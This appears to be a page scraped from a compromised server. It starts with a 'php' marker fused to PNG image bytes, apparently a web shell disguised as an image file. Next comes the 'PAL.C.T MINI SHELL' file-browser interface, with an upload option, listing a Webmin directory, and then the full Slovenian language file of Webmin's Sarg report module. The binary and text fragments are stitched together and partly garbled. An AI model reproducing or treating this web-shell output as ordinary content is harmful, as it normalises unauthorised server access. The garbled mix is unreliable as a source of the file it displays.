php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/sl.auto

index_title=Generator poročil o lignjih
index_econf=Konfiguracijske datoteke Sarg $1 v vašem sistemu ni bilo mogoče najti. Morda Sarg ni nameščen ali je konfiguracija <a href='$2'>modula</a> napačna.
index_ecmd=Programa Sarg $1 v vašem sistemu ni bilo mogoče najti. Mogoče ni nameščen ali je konfiguracija <a href='$2'>modula</a> napačna.
index_eversion=Ni bilo mogoče dobiti različice Sarga z ukazom $1 : $2 
index_version=Različica Sarg $1 
index_generate=Ustvari poročilo zdaj
index_generatedesc=Kliknite ta gumb, da takoj ustvarite Sarg poročilo v $1 s trenutno konfiguracijo.
index_clear=Ali želite izbrisati obstoječe poročilo v imeniku?
index_range=Ustvari poročilo za časovno obdobje
index_view=Oglejte si ustvarjeno poročilo
index_viewdesc=Oglejte si zadnje ustvarjeno poročilo v imeniku $1.
index_return=kazalo modula

log_title=Vir dnevnika in cilj poročila
log_header=Izvorna datoteka dnevnika lignjev in ustvarjene možnosti poročila
log_access_log=Izvorna datoteka dnevnika lignjev
log_squid=Trenutni dnevnik strežnika lignjev ($1)
log_other=Druga datoteka
log_output_dir=Imenik poročila o destinaciji
log_output_email=Pošlji e-poštno sporočilo
log_nowhere=Nikjer
log_useragent_log=Datoteka dnevnika uporabniškega agenta
log_lastlog=Število poročil, ki jih je treba hraniti
log_unlimit=Neomejeno
log_mail_utility=Ukaz za pošiljanje po pošti
log_remove_temp_files=Ali želite po poročanju izbrisati začasne datoteke?
log_err=Možnosti vira dnevnika ni bilo mogoče shraniti
log_efile=Datoteka ne obstaja
log_edir=Imenik ne obstaja
log_elastlog=Manjka ali ni številka
log_eemail=Manjkajoči ali neveljaven e-poštni naslov
log_emailx=Manjkajoči ali neobstoječi program za pošto
log_squidguard_log_path=Datoteka dnevnika SquidGuard

style_title=Slog poročila
style_header=Slog poročila in možnosti barv HTML
style_title2=Naslov poročila
style_font_face=Poročajte o pisavi telesa
style_header_color=Barva glave
style_header_bgcolor=Barva ozadja glave
style_header_font_size=Velikost pisave glave
style_background_color=Barva ozadja
style_text_color=Barva besedila
style_text_bgcolor=Barva ozadja besedila
style_title_color=Barva naslova
style_logo_image=Sklic slike za logotip
style_image_size=Velikost slike (širina in višina)
style_logo_text=Besedilo za logotip
style_logo_text_color=Barva besedila za logotip
style_background_image=Referenčna slika za ozadje
style_err=Možnosti sloga poročila ni bilo mogoče shraniti
style_etitle=Manjka naslov poročila
style_ecolour=Manjkajoče ali neveljavno ime barve ali koda RRGGBB
style_efontsize=Manjkajoči ali neveljavni odmik velikosti pisave
style_efont=Manjkajoče ali neveljavno ime pisave
style_esize=Manjkajoča ali neveljavna širina in višina slike
style_language=Jezik poročila
style_charset=Poročilo o naboru znakov

report_title=Možnosti poročila
report_header=Prijavite vsebino in možnosti ustvarjanja
report_resolve_ip=Rešite IP naslove?
report_user_ip=Ali namesto ID-jev uporabnikov uporabljate naslove IP?
report_user_sort_field=Naročanje za uporabniško poročilo
report_topuser_sort_field=Naročilo za poročilo najboljših uporabnikov
report_reverse=V obratnem vrstnem redu
report_forward=V naprej vrstnem redu
report_by_user=Po uporabniškem imenu
report_by_connect=S časom povezave
report_by_bytes=Po bajtih
report_by_time=Po času
report_by_site=Po mestu
report_exclude_users=Uporabnike datotek s seznamom datotek izključiti
report_exclude_hosts=Gostovanje seznamov datotek je izključeno
report_index=Ali želite ponovno ustvariti <tt>index.html</tt> datoteko?
report_only=Ustvari samo <tt>index.html</tt>
report_overwrite_report=Ali želite prepisati poročilo za datum?
report_overno=Ne, preimenujte z.1
report_records_without_userid=Ukrep za zapise brez uporabnika?
report_ignore=Popolnoma prezrite
report_ip=Namesto tega uporabite IP naslov
report_everybody=Uporabite uporabniško ime <tt>vsi</tt>
report_use_comma=Uporabite vejico namesto. v številkah?
report_topsites_num=Število najboljših spletnih mest za prikaz
report_topsites_sort_order=Naročilo za poročilo o najboljših spletnih mestih
report_sorta=Naraščajoče
report_sortd=Spuščajoče
report_index_sort_order=Naročanje povezav v <tt>index.html</tt>
report_exclude_codes=Datoteka s HTTP kodami, ki jih želite izključiti
report_max_elapsed=Najdaljši pretečeni čas (ms)
report_report_type=Poročajte o odsekih, ki jih želite ustvariti
report_topsites=Najboljša spletna mesta
report_topusers=Najboljši uporabniki
report_sites_users=Spletna mesta po uporabniku
report_users_sites=Uporabniki po mestu
report_date_time=Uporaba po dnevu in uri
report_denied=Zavrnjena spletna mesta
report_downloads=Prenosi
report_auth_failures=Napake preverjanja pristnosti
report_site_user_time_date=Spletna mesta, datumi, časi in bajti
report_all=Vsa poročila
report_below=Izbrano spodaj ..
report_usertab=Datoteka za preslikavo uporabniškega imena
report_long_url=Prikaži celotne URL-je v poročilu?
report_date_time_by=Razvrstite datum/čas po poročilu
report_bytes=Bajti
report_elap=Pretečen čas
report_user_invalid_char=Neveljavni znaki v uporabniških imenih
report_privacy=Skrij obiskana spletna mesta?
report_privacy_string=Nadomestno besedilo za obiskana spletna mesta
report_privacy_string_color=Barva za nadomestno besedilo
report_below2=Vnesen spodaj ..
report_include_users=Ustvari poročilo samo za uporabnike
report_exclude_string=Izključite vrstice dnevnika, ki vsebujejo
report_allusers=Vsi uporabniki
report_nostrings=Ne izključujte nobenega
report_topuser_num=Število najboljših uporabnikov za prikaz
report_site_user_time_date_type=Oblika spletnega mesta, uporabnika, datuma in ure
report_table=Tabela HTML
report_list=Seznam besedil
report_displayed_values=Prikaži promet kot
report_bytes2=Bajti
report_abbrev=Skrajšano (K, M, G)
report_weekdays=Delovni dnevi, ki jih želite vključiti v poročilo
report_weekdays0=Su
report_weekdays1=Mo
report_weekdays2=Tu
report_weekdays3=Mi
report_weekdays4=Th
report_weekdays5=Fr
report_weekdays6=Sa
report_hours=Ure za vključitev v poročilo
report_err=Možnosti poročila ni bilo mogoče shraniti
report_efile=Datoteka ne obstaja
report_enum=Ne številka
report_echar=Razmiki niso dovoljeni
report_estring=Manjkajoče ali neveljavno nadomestno besedilo
report_eselect=Nič izbranega
report_eenter=Nič ni vneseno

sched_title=Načrtovano generiranje poročil
sched_header=Načrtovane možnosti poročanja
sched_sched=Ali je načrtovano poročilo omogočeno?
sched_yes=Da, v trenutkih, izbranih spodaj.
sched_clear=Vsakič počistite imenik poročil?
sched_dir=Imenik poročil
sched_edir=Na strani <a href='$1'>Vir dnevnika in cilj poročila</a> ni bil določen noben imenik ciljnih poročil. To mora biti nastavljeno, preden bo omogočeno načrtovano poročanje.
sched_esfile=Na strani <a href='$1'>dnevnik virov in cilj poročila</a> ni bila določena nobena datoteka dnevnika lignjev. To mora biti nastavljeno, preden bo omogočeno načrtovano poročanje.
sched_range=Ustvari poročilo za časovno obdobje
sched_rall=Vsi zapisi v datoteki dnevnika
sched_rsel=Tisti od $1 do $2 dni nazaj
sched_err=Ni bilo mogoče shraniti načrtovane generacije poročil
sched_erfrom=Manjkajoče ali neveljavno začetno število dni nazaj
sched_erto=Pred manjkajočim ali neveljavnim končnim številom dni

view_title=Sarg Poročilo
view_efile=Neveljavno ime datoteke!
view_eopen=Ni bilo mogoče odpreti datoteke s poročilom

gen_title=Ustvari poročilo
gen_header=Zdaj ustvarjam poročilo Sarg iz datoteke dnevnika lignjev $1 in vseh zasukanih različic ..
gen_done=.. Končano
gen_failed=.. Sarg ni uspel! Za podrobnosti glejte zgornji izhod.
gen_nothing=.. Sarg je končal, vendar poročila ni bilo ustvarjeno. Za podrobnosti glejte zgornji izhod.
gen_view=Oglejte si dokončano poročilo.
gen_err=Poročila ni bilo mogoče ustvariti
gen_efrom=Manjkajoči ali neveljavni od dneva
gen_eto=Danes manjkajo ali so neveljavni

webmin_log_log=Posodobljen vir dnevnika in ciljne možnosti poročila
webmin_log_report=Posodobljene možnosti poročil
webmin_log_style=Posodobljene možnosti sloga poročila
webmin_log_sched_create=Omogočeno načrtovano poročanje
webmin_log_sched_delete=Onemogočeno načrtovano poročanje
webmin_log_sched_update=Posodobljeno načrtovano poročanje
webmin_log_sched_nothing=Levo načrtovanega poročanja onemogočeno
webmin_log_generate=Generirano poročilo
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`